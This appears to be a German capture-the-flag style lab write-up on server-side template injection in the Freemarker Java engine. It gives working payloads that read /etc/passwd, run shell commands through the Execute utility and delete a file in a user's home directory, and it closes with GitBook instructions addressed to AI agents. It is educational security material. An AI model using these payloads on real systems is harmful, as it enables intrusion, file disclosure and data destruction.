> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI mithilfe der Dokumentation der Java-Template-Engine

### Serverseitige Template-Injection mithilfe der Dokumentation

Dieses Labor stellt eine Sicherheitslücke vor **SSTI**. Das Ziel ist es, die verwendete Template-Engine zu identifizieren, ihre Dokumentation zu konsultieren, um zu verstehen, wie beliebiger Code ausgeführt wird, und dann die Datei moral.txt im Carlos-Verzeichnis zu löschen. / Die bereitgestellten Zugangsdaten sind: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/fecbe2765ae4e79c86bbf6e566f857f997714a2b" alt=""><figcaption></figcaption></figure>

### **Analyse des Templates**

In den Kommentaren wird von der Engine ein Ausdruck angegeben:

* Einfacher Test :

```java
${7*7}
```

<figure><img src="/files/51259ee389d3763a47dfc13ae4c28e86bd808ceb" alt=""><figcaption></figcaption></figure>

* Ein Fehler verrät, dass die verwendete Engine **Freemarker (Java)**.
* Ein neuer Ausdruck wie `${7*a}` bestätigt die Interpretation des Templates.

```java
${7*a}
```

<figure><img src="/files/31284360e7c51dff7f611a5908fc30c0a3ccf432" alt=""><figcaption></figcaption></figure>

#### **Dateilesen**

Um die Datei /etc/passwd zu lesen, werden die über das Objekt zugänglichen Methoden verwendet:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ") }
```

<figure><img src="/files/e02638156cdc3a4c47db8987ee2d595f592a58ab" alt=""><figcaption></figcaption></figure>

#### **Befehlsausführung**

Freemarker erlaubt den Aufruf von `Ausführen` Hilfsfunktion:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="/files/d1b4e3bb140348271bcc118f954b347560ca2388" alt=""><figcaption></figcaption></figure>

#### **Gelöschte Zieldatei**

Um moral.txt aus dem Carlos-Verzeichnis zu entfernen:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
